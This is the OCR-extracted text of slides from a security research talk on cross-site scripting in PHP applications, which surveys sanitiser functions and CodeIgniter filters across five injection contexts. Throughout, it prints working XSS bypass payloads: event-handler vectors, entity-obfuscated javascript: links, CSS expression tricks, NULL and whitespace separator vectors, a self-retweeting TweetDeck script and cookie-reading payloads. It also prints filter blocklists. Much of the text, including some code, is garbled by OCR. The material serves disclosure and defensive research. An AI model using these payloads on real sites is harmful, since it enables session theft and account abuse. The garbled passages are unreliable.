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MONKEY TESTING ---

ACCORDING TO W
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In computer science, a Monkey test (aka. Mark Testing) is a

unit test

)

http://en.wikipedia.org/wiki/Monkey_test



THIS TALK IS ABOUT ..




WHO AM |7



A researcher in Ruhr University Bochum, RUB Germany

A student of XSS who is working towards his PhD in XSS
An XSSer / An XSS Enthusiast
http://www.tubechop.com/watch/2670518

Listed in top sites' hall of fame

A proud father of two

Speaker @HITBKUL 2013, @DeepSec 2013 & OWASP
Seminar@RSA Europe 2013

A Twitter lover @soaj1664ashar
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WHY | LOVE X557




REASON #1




ASON # 2
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REASON # 35

XSS is everywhere ...

see: http://slides.com/mscasharjaved/cross-site-scripting-
my-love



AMONTHS AGO ..

=8 AsharJaved

S0 @WOWASPSpain page has been viewed
more than 95k times:
owasp.org/index.php/Spai...

| will announce a 250$ #XSS challenge
during my talk ...

4 Reply w Delete % Favorite == Mor

3 s JEOLAEHADW

https://twitter.com/soaj1664ashar/status/46694552905922150



XSS CHALLENG
(ANNOUNCEMENT)

50% per-context bypass (output reflects in 5 contexts)
5*50=250%

http://demo.chm-
software.com/7fc785c6bd26b49d7a7698a7518a73ed/

OR
http://xssplaygroundforfunandlearn.netai.net/final.ntml
OR
http://xssplayground.net23.net/final.html
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AGENDA

PHP

XSS

Testing Methodology

Per-Context XSS Attack Methodology

Summarize PHP's findings (includes built-in functions,
customized XSS solutions and top PHP-based web
frameworks)

Results of Alexa Survey of Top 100 sites

Conclusion



WHY HYP

R

=X T PR
(PHP)?

-PROC

-SSOR




REASON #1

—
|

81.79% of the web application servers are using PHP

http://w3techs.com/technologies/overview/programming_langu



REASON # 2

2.1 million web application servers are using PHP

http://www.php.net/usage.php



REASON # 35

inmstalled on 244 million websites

http://www.php.net/usage.php



REASON # 4

“Server—-side Programming Language of the Year 2013”

http://w3techs.com/blog/entry/web_technologies_of_the_year_2
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CROSS-SITE SCRIPTING (XSS)




XSS ACCORDING TO OWASP

According to OWASP

“Cross-Site Scripting attacks are a type of injection problem, in which mali-
cious scripts are injected into the otherwise benign and trusted web sifes.”

https:.//www.owasp.org/index.php/Cross-site_Scripting_(XSS)



SOME STATISTICS ABOUT XSS




ACCORDING TO PREVOTY CTO

KUNAL ANAND

https://www.brighttalk.com/webcast/288/97255
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ACCORDING Tz%%\/\/ASP TOP10

- =injection flaws, such as SOL, 05, and LDAP injection oocur when untrusted data is sent to an
Al - Injection interpreter as part of a command or guery. The attacker's hostile data can trick the interpreter
g unintended commands ar accessing unauthol data.

A2 - Broken
Authentication and
Session
Management

A3 = Cross-Site
Scripting (X55)

Ad = Insecure
Direct Object
References

A5 = Security

Misconfiguration should be defined, implemented, and maintained as many are not shipped with secure defaults.
Thits includes i ftware up to date.

AB = Sensitive Data

Exposure s extra protection such as

ith the brawser.

AT = Missing I ‘ b applications vl
Funiciion Leved e L. Howewer, a_r.':-1

r when each funct
Access Control requests in order to access unauthori

AR - Cross-Site
Request Forgery
{CSRF)
A8 - Using
Components with
Known -I.uulu:anurd
Vulnerabilities range of pa:

A10 = Unvalidated
Redirects and
Forwards.

rs o other ;-n.r..!rd ebr
m, :ma:l'

http://owasptop10.googlecode.com/files/OWASP%20Top%201C
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ACCORDING TO GOOGLE
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XSS at #1 as far as valid bug bounty
submissions to #Google in year 2013. (ref:
youtube.com/watch?v=0AYj|Zy...)
p|r“t

/itter.com/8elLeZMs4Ry

Externa.]ly Reported Bugs (2015)




ACCORDING TO GOOGI

'RENDS

: Eduardo Vela

i

For the first time in history, XSS is Googled
more often than SQL injection.
google.com/trends/explore... #uselessfacts

aaEFranne

Interest over time




WHY YOU SHOULD CARE ABOUT
XSS7

A" Ashar Javed

So #XS58S is involved in two recent big
HACKS i.e., Apple Developer
(mytechblog.com/2013/07/apple-...) +
Ubuntu Forums (blog.canonical.com/2013/07
130/ubu...) #XSSrock

4 Feply €% Retwest & Fawrhe e« Mo

MyTechBlog

We'll be back soon.

T SEERARSSE

https://twitter.com/soaj1664ashar/status/36249338264538316:



A RECENT EXAMPLE (TRAFFIC
HIJACKING)

Persistent XSS Enables Large-Scale DDoS Attack

The attack was carried out using traffic hijacking techniques, which flooded our client with

over 20 million GET requests originating from the browsers of ov

all turned into unwilling accomplices by the offender.

http://www.incapsula.com/blog/world-largest-site-xss-ddos-
zombies.html



AN EXAMPL
AGO IE,

FROM TWO DAYS

is the term coined here:
https://twitter.com/pdp/status/476796934062370816



TWEETDECK'S PERSISTENT XSS

™ Ashar Javed

b
ool 50

It is funny to see that so far around 38K
people were "RETweeted and they do not
know about it :)
pic.twitter.com/NEYDzcW2Aqg

= “andy
iw

SERRELAEEH

https://twitter.com/soaj1664ashar/status/47677383192820940:



BUT BLEEDING CONTINUE ..

'Ti" *andy
& . -

<script
class="xss">$('.xss").parents().eq().find('a")
eq(M).click();$('[data-
action=retweet]").click():;alert("XSS in
Tweetdeck)</script>%

sacsl 906 E2RFTWLkd©

https://twitter.com/derGeruhn/status/476764918763749376



-NDS UP ...

o TweetDeck £ <2 Follow

We've temporarily taken TweetDeck
services down to assess today's earlier
security issue. We'll update when services
are back up.

s s FAMCAEDDE

https://twitter.com/TweetDeck/status/476770732987252736
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WHAT [F | TOLD YOU 3)

WHAT IF 1. TOLD You'

THAT Ian;AK ALMOST ALL I’III’ BASEII
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made on imgur



BUT HOW?




TESTING METHODOLOGY

¢ Simulate Real Web Applications
e Testing conducted in five common contexts (HTML, Script,
Attribute, Style & URL)



WHAT IS CONTEXT?




CONTEXT DEFINITION

% .2 Ashar Javed

i

What Is Context?
Context Is an environment where user-

supplied input or input from other
application(s) eventually ends-up or starts
living.

teply w Delete W% Favorite ==+ More

https://twitter.com/soaj1664ashar/status/46396061515791564:



HTML CONTEXT

HTML Context: In standard HTML context, normally user-supplied input
reflects back or the web application passes the input back as the content of

any HTML tag e.g., <body> tag.

<body ><7?php echo filter_ function($_POST['input']);?></body>

filter_function === general term
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ATTRIBUTE CONTEXT

Attribute Context: In attribute context, input reflects back in the at-
tribute context i.e., as a value of an attribute. e.g., class attribute of <div>
or value attribute of <input> tag etc.

-

<div class='<7php echo filter_function($_POST[L['input']);?>"'>

Attribute Contexzt</div>



= CH
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= CH
HTTP.//\WWW.EACOM/SEARCH?
Q=JUNK




= CH

HT TP.//\WWW.DRUDGEREPORTAR
CHIVES.COM/DSP/SEARCHHTM?
SEARCHFOR=JUNK




SCRIPT CONTEXT

Script Context: In script context, user-supplied input reflects back in the

script code block as a value of some variable. e.g.,

L

<script>var a='<7php echo filter_function($_POST['input'l)});?>';</script>
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XSS IN INDIATIMES

X www.indiatimes.com/search

The page at www.indiatimes.com says:

times.in
- - ; ; 1

Ents | Metwork  Sources Timeline Profiles Besources  Audits Console

cript¥

img src="http://b.scorecardresearch.com/p2cl=28c2=68354848cv=2, 0K Cancel

scripts

- End comScore Tag --»
- Begin Google Analytics Tag --»
ript type="text/javascript':

b _gaq = _gaq || [1;

baq.push(['_setdccount', 'Ua-198811-6'1);
bag . pushi(['_setDomaintams', 'none’']);
-aq.push(['_5etﬂll:u_1nnh", truell;

bag . pushi['_addIgnoreddrganic 'indiatimes']);
:aq.pushl;'['_addlgn:fed:'gani-:'J 'indiatimes.com']);
bag.push(['_addlgnoredfrganic’, 'india times']);
baq.push(['_addIgnoredOrganic', indieti1eé.c:T']};
bag . push{['_addIgnoredOrganic', 1|.::I1at1'|er news'1Y;
bag.push(['_addIgnoredCrganic', 'india times.com' };
baq. push(['_addlgnoredOrganic', 'www.indiatimes'])
baq.push(['_addIgnoredOrganic', 'india times news ]},
"Ysearchiguery="1); confirm(I): (["*1)i

bag. push({['_trackPageview',




URL CONTEXT

URL Context: In URL context, user-supplied input reflects back in the
“href” attribute of anchor tag 1.e., <a> or “src” attribute of <img> or

<iframe> or <embed> tag or “data” attribute of <object> tag. e.g.,

Co

href='<7php echo filter_function($_POST['input']);?>'>URL
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Insert link

Url
Text to display
Title

Target

None

ﬁ Cancel
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transla

Markdown cheat sheet

Format Text




STYLE CONTEX

The “style context” 1s popular in cases where modern web applications
allow some harmless mark-ups or rich-text functionality like bold, italic and
underline tags in the comment section or blog post and at the same time

allow users to set styles on these tags e.g., change font size and color.

- F e 1 1 i

C33 Context</div>




-G, A SCREEN-SHOT FROM EBAY

Link

Link Info

rMame Language Code Tab Index

Advisary Title Advisory Content Type

Linked Resource Charset

Relationship
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Disable View Images Cache Validate |
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ANOTHER XSS IN MAGENTO
COMMERCE IN STYLE CONTEXT

r=width:expre ssion(alert®48;185841;) junktext”>bol

PRODUCTS CUSTOMERS

2ok Maet lenanina Trainina uecth Baanoeda 10




SUMMARY OF CONT

Browser
www.example.com

Search | XSS

www.example.com/search result page

Search Results ...
You Search For: =span=XSS</span>

Search Again:
<input type=“text” value="X55%:
Site's analytics script:

=script type="text/javascript™=
var searchguery="XSS';
</script=

Popular Searches:
=<a href="XS5“=XS5</a>
The color is not available:

=div style="XS5*>div</div=>

Himl
confext

Script
context

URL
context

Shyle
context

=X TS



ATTACK METHODOLOGY

Systematic in nature

Easy to understand

Context-Specific

Attack methodology is “ complete and one can guarantee
that there is an XSS or no XSS in a particular injection
point.

With the help of attack methodology, one can make a
secure per-context XSS sanitizer

Can be applied to other server-side languages e.g., ASP,
Ruby etc



SCRIPT CONTEXT ATTACK
METHODOLOGY

Only for attendees ... ;)



ATTACKER MAY ALSO USED

SINGLE LINE COMMENT IN

ORDER TO MAKE CLOSING
QUOTE'S AFFECT NULL & VOID

" confirm(1); //

OR

" confirm(1); //



LIVE DEMO #1

N
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http://www.dailymail.co.uk/home/search.html



LIVE DEMO # 2
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http://de.eonline.com



QUESTION ARISE ...

Why no sort of encoding in script-context attack
methodology?

Web Escaping and Encoding

cript Escape Sim Double Encoding

ith Multiple Sch
9 v, th

1,677,721,600,000,000
ways to encode <script>

Punyeode







ANSWER

It simply does not work. Encoding will not help you in
breaking the script context unless developers are doing
some sort of explicit decoding.

Better to avoid explicit decoding but | saw developers are
doing explicit decoding e.g., see my short post on Yahoo Web
Analytic XSS

https.//twitter.com/soaj1664ashar/status/460346852580139008
and see my write-up on XSS in alexa.com
http://issuu.com/mscasharjaved/docs/urlwriteup



NOT
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SCRIPT CONTEXT

<script= war a = 'Injection Point'; </script-

confirm(1l); &#x0(

URL E
ipts v a
HTMLS v Encoding of 53

'&apos; ;

http://jsfiddle.net/4eqK4/2/

-AKING THE

cripts-



JSON CONTEXT (SCRIPT)

http://xssplaygroundforfunandlearn.netai.net/series7.html



SOLUTION #1

"; confirm(1); var x=[{"":"



OTHER POSSIBLE
WAYS/SOLUTIONS ..

How many alerts you will get? :-D
Operators in action ....

Aalert(1)™

|alert(1)]

&alert(1)&

>>alert(1)>>

all works .. pic.twitter.com/I1xTgofvPX

HEGERETNI

https://twitter.com/soaj1664ashar/status/46944242114811904t



ATTRIBUTE CONTEXT ATTACK
METHODOLOGY

Only for attendees :)



HO0O EMAIL WAS VUILNERABLE

TO AN XSS IN AN ATTRIBUTE
CONTEXT

B4 just_ashar_javed - Yahoo ...

ail.yahoo.com/n

() Profiler = Network

div




LIVE DEMO #1

N
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http://www.ea.com/



LIVE DEMO # 2
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http://www.drudgereportarchives.com/dsp/search.htm



LIVE DEMO # 3

N
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http://www.biblegateway.com
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- TRICK DISCOV
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YOSUKE HASEGAWA

Yosuke HASEGAWA

@hasegawayosuke rouows
javascript: () = =3; " ¥ [-_-1]- /7 A [_]+F57-

Osaka / Japan - utf-8 jp

SO

https.//twitter.com/hasegawayosuke



VALID S

ATTRIBUT

Very useful in breaking attribute context if site is properly

- & AT TRIBUT

IE& TREATS BACK TICK "~ AS A
-PARATOR FOR

-'S VALU

filtering single and double quotes




NOTED INHTMLS SECURITY

C

H T TP.//F

MLSS

AT SHEET

-C.ORG/BY

Mario Heiderich
https://twitter.com/0x6D6172696F
Another useful tool by him is

http://html5sec.org/innerhtml/

and

must read research paper by him if you are interested in
innerHTML and mutation XSS

http://www.nds.rub.de/media/emma/veroeffentlichungen/2013
CCS13.pdf






BACK TICK = DEMOS TESTED ON
MICROSOFT WINDOWS XP + |ES
AND TOOL USED FOR TESTING IS
TTP:// TMLSS@E/.O?G/IN\ “RHT




 INACTION DEMO #1

attribute context

L document wnte{innerHTNL ) ” Apply style csslext(}

[

«0IV clase="'‘ommouseover=zlert (1) zatcribute context</DIV:




 INACTION DEMO # 2

id="""pomouseover=alert (1) "rolicksfar

[ documant witelnnerd 1AL) 4 |_Apply style cssText(

seover—alert (i) href="#">clicks /B>




 INACTION DEMO # 3

“onfocus=aler(1)

document wnte(innerHTIL) | I Apply style cesTexd|)

<IMPUIT walue="" : CVpeTLeXt




GITHUBHT TPS/GITHUB.COM/ IS
VULNERABLE TO INNERHTML
BASED XSS5







GITHUB RESPONSE ON MY

Re: [CODENAME INVERSE BOSON] - GitHub Bounty Submission

Patrick Toomey <bount ithub_com:=

ur findings Hftl-'rllltl-'r" i thl-' findin
to || 3 i

risk to I_:|tH||h LUSers =u|r| not n-I||:||l:-In- for a reward under the E||||:| Bounty r-rnqram

Best regards and happy hacking!

Please note that GitHub no longer supports Internet Explorer versions T or 8
e We recommend upgrading to the lat irefo
If you are using IE 9 or later, mak

Learn more Ignor




TINYMCE WAS ALSO
VULNERABLE TO INNERHTML
BASED XSS5

€« = C [ wwwitinymce.com/develop/bug

Home Try it Download Documentation Enterprise Forum

_ % Version: 4.0.26
| Y

Yiew the latest bug reports, and if you want to report a new bug, click here.

Watchlist

0 B




WHO IS USING TINYMC




ORACLE

Microsoft

4F INTERWOVEN

Joomial




IS INNERHTML (LE, ) BASED XSS
S EXPLOITABLE?

http://xssplaygroundforfunandlearn.netai.net/innerHTMLtesting
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IES STILL HAD 22% MARKE
SHARE

Browser Fragmentation

INTERNET EXPLORER VERSION ADOPTION
Percent

http://view.officeapps.live.com/op/view.aspx?
src=%20http%3a%2f%2fvideo.ch9.ms%2fsessions%2fbuild%2f2
559.pptx



WHY NO ENCODING IN AN
ATTRIBUTE CONTEXT ATTACK
METHODOLOGY?

see demo http://jsfiddle.net/9t8UM/2/



STYLE CONTEXT ATTACK
METHODOLOGY

Only for attendees :)



STYLISH XSS INMAGENTO

Stylish XSS in Magento: When style helps you ...

How to bypass Codelgniter in a Real World Setting?
by

Ashar Javed
https://twitter.com/soajl664ashar

http://www.scribd.com/doc/226925089/Stylish-XSS-in-
Magento-When-Style-helps-you



URL CONTEXT ATTACK
METHODOLOGY

Only for attendees :)
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TRANSLATION IN URL CONTEXT

=0

Y POLICY

Stored XSS in Twitter Translation Center's Forum

http://www.scribd.com/doc/211362856/Stored-XSS-in-
Twitter-Translation
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*Back to Result

« Back to Results

es | Computed Event Lis




-VALUATION OF ATTACK
METHODOLOGY

PHPFP s Built-In Funections
Customized Solutions

PHP-based Web Application Frameworks |
Alexa’s top 100 sites (10 top sites from 10 different categories)




JILT-IN FUNCTIONS THAT
-VELOPERS ARE USING IN THE
WILD

U
| L
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& trim(): ] :
newline, carriage return and vertical ts 0 heginning 11111 vnfl of the

string

w strip_tags(): The “strip_tags” function removes HTML and PHP tags
from the string. This function also removes HTML comments from the string

@ htmlentities(): This function converts potentially dangerous characters
(i.e., 7, < ete) into their res e HTML entities e.g., < becomes &1t;
The “htmlspecialchars” function also works in a similar manner.

w stripslashes(): This function removes backslash () from the string
The “stripslashes” function also converts double backslashes (\\) into single
backslash.







@ stripslashes(htmlentities(strip_tags(trim($Sinput))))
A quick search on GitHub reveals ...

b, Inc. [US]| https://github.com/search?g=extension%3Aphp+stripslashes%%28htmlentities%28str

Explore Gist Blog Help

S earc h extension:php stripslashes(htmlentities(strip tags(trim{3input})}))

Rebasitories We've found 1,610 code results

¢» Code

http://xssplayground.net23.net/clean6.htm|



® trim(htmlspecialchars($value, ENT_QUOTES, “utf-8"))

A quick search on GitHub reveals ... (false positives are also
there but still give you an idea of popularity)

c. {US) | https:/{github.com/search?q=extension ¥3Aphp+trim(htmlspecialchars(%24value?h2 C+ ENT+ QUOTES 32 C+ 'utf-8')) S63B&itype=C

Explore Gist Blog Help

extension:php tim({htmlspecialchars(3value, ENT QUOTES, "utf-87));

We've found 63,611 code resulis

http://xssplayground.net23.net/clean20.htmi



® htmlentities(trim(strip_tags(stripslashes(Sinput))). ENT NOQUOTES, “UTF-8")

A quick search on GitHub shows ...

& GitHub, Inc. [US] | https://github.com/search?g=extension93Aphp+htmlentities%28trim%28strip +tags%28stripslashes %285

O Explore Gist Blog Help

Search extension:php htmlentities(trim{strip tags(stripslashes($value))). ENT_NOQUOTES, UTF-8)

R We've found 7,307 code results

¢» Code

http://xssplayground.net23.net/clean21.htmi



SUMMARY OF BYPASSE

Only for attendees :)



CUSTOMIZED XS5 SOLUTIONS




© RemoveXSS(Sinput)

Developers are also calling it with names like filterXsS and
NnoXSS

A quick search on GitHub reveals

Hub Inc I___1 .-|-|:t5:|5:_ '_ 'g]'-ta-||__jE;|,|:j|;jn~|___. search?g=extension%3Aohp _:_;_'___ nction+%24val+ %30+ oreq replace®% 2892 7% 2F% 2 80

Explore Gist Blog Help

Search extension:php function Sval = preg_replace(/{[\ec00-208 x0b-"»0c w02 19]). °. Bval)

We've found 1,076 code results

¢» Code

http://xssplayground.net23.net/clean.html



FEATURES OF REMOVEXSS()

Two arrays of black-listed keywords :)

javascript', 'wvbscript’, ] 25 ‘applet’, ‘meta’, ‘mml', “blink', ‘link’',
script’, 'embed', 'object ' ‘frame', 'frameset', ‘ilayer',

"laver', 'bgsound', 'title’, ‘base’)

= Array('onabort', 'onactivate', 'anatterprint', 'onafterupdate', 'ocnbeforeactivate’,

onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus',
gnbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate’,

anblur', ‘onbounce', ‘oncellchange', 'anchange', 'onclick', 'oncontextmenu’,

ohcontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged’,
gondatasetcomplete’, 'ondblclick', ‘ondeactiwvate', ‘ondrag', 'ondragend',
ondragenter', ‘andragleawve’', londragowver', 'ondragstart', 'aondrop',

anerror'; ‘onerrorupdate’, *onfilterchange', ‘onfinish', "onfocus', “onfocusin’'y

onfocusout', 'onhkelp', ‘'onkevdown', 'onkeypress!', 'onkeyvup', '"onlayvoutcomplete',
onload', 'onlosecapture', 'onmousedown', "onmouseenter', 'onmouseleave’,

onmousemove ', 'onmouseout’, 'onmouseover', 'onmouseup', 'onmousewheel', 'onmowve’,

onmoveend', '‘onmovestart', ‘onpaste’, 'onpropertychange', ‘onreadystatechange’,

onreset', 'onresize', 'onresizeend', 'onresizestart', ! ‘onrowexit',

e - k4 1
anrowenter',

owsde ‘ohrowsinserted’ 'onscroll', ‘onselect', 'onselectionchange’,

‘onstart', 'onstop', ‘onsubmit', ‘onunload');:







HTML CONTEX

R

http://Xssp

MOV

BYPASS

=X SS()

=S OF

ayground.net23.net/clean.htm|

<input type=text oninput=alert(1)>

<form
action=ja&Tab;vasc&NewLine;ript&colol
<button type=submit>



ATTRIBUTE CONT

=X T BYPASS

OF REMOV

=X SS()

=S

All event handlers that are not part of black-listed array will

bypass this prote

ctione.g.,

onpopstate
onstorage



| TWEETED ABOUT THAT AND
YOU WILL SEELOTS OF
BYPASSES BY FELLOW
RESEARCHERS

https://twitter.com/soaj1664ashar/status/47084340652123750



STYLE CONTEXT BYPASS OF
REMOVEXSS()

width:ex/**/pression(alert(1))



URL CONTEXT BYPASS OF
REMOVEXSS()

ja&Tab;vasc&NewLine:ript&colon;alert&lpar;1&rpar;



SCRIPT CONTEXT BYPASS OF
REMOVEXSS()

&ix27:: confirm(1); &#x27;

&#39:: confirm(1); &#39:;



® cleanInput($input)

A very popular but sorry to say BAD XSS protection ...

A quick search on GitHub reveals ...

O Explore Gist Blog Help

Search extension:php "@<scrpt[*=]"7=_*?</script=@si’,

We've found 7,943 code resulis

http://xssplayground.net23.net/clean1.html



WHY SO POPULAR?



PUBLISHED AT HT TP://CS5-
TRICKS.COM

1 Function for stripping out malicious
bits




£2php
function cleanInput($input)

= arrayl

$output = ;

pr
return Soutpu

-ANINPUT()



HTML CONTEXT BYPASSES OF
CLEANINPUT()

http://xssplayground.net23.net/clean1.html

<img src=x id=confirm(1)
onerror=eval(id)

<iframe/src=javascript:confirm%281%2¢
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© sanitizeCSS(Sinput)

The goal of this function is to stop JavaScript execution via
style.

http://xssplayground.net23.net/clean2.html



[T PERFORMSD@?—LL FOR CASE

AR 0 O Sl o B P e €

G'm o d r:’ roup #3 Grou p #5

war

= line_feed "url" - p—

/C)*NO+(.)*/

Group #2

Ilr'"‘ —

e='background:url(javascript:confirm(document.cookie))'>
e='width:expression(confirm(document.location))'>







BUT REM
STYLE

-MBER THE 3R

- CONTEXT A

- THO

D STEP OF

TACK

DOLOGY ...



HERE IS THE BYPASS )

width:expression&#x28;alert&#x28;1&#x29;&#x29;



O detectXSS($Sinput)

Another popular customized XSS protection solution.

http://xssplayground.net23.net/clean3.htm|



WHY POPULAR?



SYMPHONY CMS

A popular XSLT-powered open source content management
system is using detectXSS() function.



ACCORDING TO
HT TP/ WWWSI\/EJSYM PHONY.C

C [} www.getsymphony.com/explore/showcase/

Symphony.

Features Showcase Compatible Hosts Testimonials

Build Anything

An impressive assortment of 410 sites makes the showcase an ever-

growing testament to Symphony's power and flexibility







"1 {java|live
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—CTXSS()

nd|title|ba



HTML CONTEXT BYPASS OF
DETECTXSS()

<form/action=ja&Tab;vascr&Tab;ipt&colon; confirm(document. cook
<button/type=submit>

<math><a/xlink:href=javascript&colon;confirm&lpar;l&rpar;>cli«
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SUMMARY OF BYPASSES

URL
Context

PHP-based Customized XSS Protections

HTML
Context

Attribute
Context

Style
Context

Script
Context

RemoveXSS($input)

v’

v’

v'{

v

v’

cleanlnput(Sinput)

v

v

v

v

X

sanitizeCSS(Sinput)

NA

v’

NA

NA

detectXSS(Sinput)

P

7

v

s

striplmages($input)

NA

NA

NA

NA

cleanURL(5url)

NA

NA

v

NA

removeScript(Sinput)

NA

NA

NA

NA

sanitizeHTML(Sstring)

NA

NA

NA

NA

xss_clean($data)

NA

NA

NA

NA

stripScriptsAndCss(Sinput)

NA

v

NA

NA




PHP-BASED WEB APPLICATION
FRAMEWORKS

Web frameworks like Codelgniter, htmLawed, Nette, HTML Purifier, Laravel
and PEAR’s HTML Safe are higly adopted imn the wild. The main job of frame-
works 1s to minimize the overhead associated with the common web applica-
tion development tasks which in turns increase productivity. At the same time,

frameworks offers XSS mitigation routines so that security unaware developers
can use these functions and may protect their web applications. The frame-
works like Codelgniter, htmLawed, Nette, HT' ML Purifier, PHP Input Filter,
CakePHP and PEAR’s HTML Safe have dedicated tunctionality for the protec-
tion of XSS attacks.




CODEIGNITER
A Fully Baked PHP Framework
http://ellislab.com/codeigniter

to the Universifies

as, Georgia, and mor Irees: built 0 palyzer.com). And it is




CODEIGNITER BYPASSE

https://github.com/EllisLab/Codelgniter/issues/2667



I_

~ATUR

- OF COD

—IGNIT

Disallowed JavaScript in Links & Image Tags (Sna
from the latest Codelgniter version available at Git

nshot

Hub)

https://github.com/EllisLab/Codelgniter/blob/develop/system/cc



JAVASCRIPT REMOVAL
RE'S REGULAR
ON LOOKS LIK

- XPR

BEFOR

FEATU

E0S

- MY BYPASS LINK




TEST-BED RELATED TO OLD
CODEIGNITER BEFORE | STARTE
BYPASSING

http://xssplayground.net23.net/clean11.htmi



WHO IS WILLING TO BYPASS
THIS? )




BYPASS #1, ONLY

SLASH (/) 1S

TH

- R

-GU

_AR

-NOUG

_|

- XP

Q

-ORWARD

10O BYPASS

-5SION )

<a/href=ja&Tab;vasc&NewLine;ript&colon;confirm(”

http://xssplayground.net23.net/clean11.html (old test-bed)

http://xssplayground.net23.net/clean100.html (new test-
bed)



ANOTHER FEATURE OF
CODEIGNITER

Sanitize Naughty HTML elements

Old list of naughty elements before | started bypassing ...

Sanitize naughty HTML elements

fnaughty = 'alert|applet|audio|basefont|base|behavior|bgsound|blink|body]

embed|expression|form|frameset|frame|head|html|ilayer|iframe|input]|
isindex| layer|link|metalobject|plaintext|style|script|textarealtitle]
video|xml |xss';




BYPASS # 2 (USE OF MATH TAG
AND IT IS FIREFOX SPECIFIC
BYPASS)

<math><a/xlink:href=javascript&colon;confirm(1)>click</a>

http://xssplayground.net23.net/clean11.html (old test-bed)

http://xssplayground.net23.net/clean100.html (new test-
bed)



NEW/UPDATED LIST OF
NAUGHTY ELEMENTS

sanitize naughty HTML elements

$naughty = 'alert|prompt|confirm|applet|audiolbasefont|base|behavior

bgsound|blink|body|embed|expression|form|frameset|frame|head|html|ilayer
iframe|input|buttonlselect|isindex]|layer|link|metalkeygen|object]|
plaintext|style|script|textarealtitle|math|video|svg|xml|xss"';




OLD CO
SUPPORT

LIKE & TAB;, &COLON; A
EWLINE;

N

D

=€

-OR

NI TE

H 1M

R H

O

AD NO

=\

[T
NID,

=S

| was making use of these entities in order to bypass
Codelgniter's black-listing ...



NOW THEY ARE SUPPORTING
TMLS ENTITIES

https://github.com/EllisLab/Codelgniter/blob/develop/system/cc



YET ANOTHER FEATURE OF
CODEIGNITER

Removes Invisible characters e.g., %00 i.e., NULL

function remove_invisible characters(%str,

{

fnon_displayables = array();

if (Surl_encoded)
.[
Snon_displavables[]

$non_displayables[]

', Bstr, -1, %count);
while (%count);

return $strg
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ONE DOES NOT SIMPLY
COMMIT )

.?‘k

AN
=, Ny
T

SIMEL W/%m -



DEVELOPER REPLIED

narfbg comment

Yeah, you're right

~F F

replacements for attributes:

Previous commit caused side effects ...

7 develop

@ narfog :




MOR

- XSS BYPASS




VALID SEPARATORS IN
DIFFERENT BROWSERS

IExplorer = [0x09, 0x0B, 0x0C, Ox20, Ox3B]
Chrome = [0x09, 0x20,0x28,0x2C, 0x3E]
Safari = [0x2C, 0x3B]

FireFox = [0x09,0x20,0x28, 0x2C, 0x3B]
Opera = [0x09,0x20,0x2C, O0x3B]

Android = [0x09,0x20,0x28, 0x2C, 0x3B]

https://twitter.com/kinugawamasato
ref: https.//zdresearch.com/zdresearch-xss1-challenge-

writeup/



VALID SEPARATORS IN

DIFFERENT BROWSERS

The following characters can be used as whitespaces.

Horizontal Tab

New Line

Vertical Tab

Mew Page

Carriage Return
Non-breaking Space

Space

http://websec.ca/kb/sqgl_injection#MySQL_Fuzzing_Obfuscation



BYPASS # 5 \UC IN ACTION

<ashrefs=javascript&colon;confirm(l):>click</a

demo: http://jsfiddle.net/GTxVt/5/



BYPASS # 4 & 5

/*IE7 ,IE8 and IE9 XSS attack vector
%0B==vertical tab and %00==NULL

01d IE versions treat %0B as valid tag/attribute separatc

iv) <img#4OBsrc=x o%00Onerror=confirm(location)>
v) <marquee/o%00nstart=javasj00cript:alert(location) >XS¢

Utility that is very useful for placing valid separators
accordingly is:

HxD http://mh-nexus.de/en/hxd/



XSS VECTOR HAVING ALL FUZZ
FORMS OF WHITESPACES ..

LR Ashar Javed

XSS Vector with all fuzz forms of
"whitespaces” + NULL:
<iframe/src="data:text/html,
<svg%09%0A%0OB%OC%0OD%A0%00%200n
load=confirm(1);>">

AREEAESLAE

https://twitter.com/soaj1664ashar/status/358574268386246651



IMPORTANT THING TO
REMEMBER AS FAR AS
CODEIGNITER IS CONCERNED ...

Only useful for HTML context ....

You use it for attribute, style, script and URL
context.




https://github.com/EllisLab/Codelgniter/issues/2667



INITIALLY DEVELOPERS WER

ALSO NOT SURE ABOUT
CODEIGNITER'S USAGE

https://github.com/EllisLab/Codelgniter/issues/2667



SUMMARY OF BYPASSE

Only for attendees :)



ALEXA TOP100 SITES

| surveyed top 10 sites from the following 10 categories ...

Wame

Adult
Arts
Garmmes
Health
Home
MNews

Recreation

Shepping

Society

sports




XSS DISTRIBUTION IN DIFFERENT
CATEGORIES (

XSS Distribution in Different Alexa's Categories

Tep 10
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INJECTION DISTRIBUTION

Injection Distribution In Different Alexa Categories

Arts Health News Shopping Sports
Adult Games Home  Recreation Society

W Style Context
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MY SHORT WRITE-UP

XSS is not going any where ...

by
Ashar Javed

/

http://www.scribd.com/doc/210121412/XSS-is-not-going-
anywhere



CONCLUSION

e Qur large scale survey of PHP-based sanitisation routines
shows SAD state of web security as far as XSS is
concerned.

® The proposed attack and testing methodology is general
and may be applied to other server-side languages.

e \What if we automate this context-specific attack
methodology and unleash automation tool on a large
scale survey of deep web ... :)
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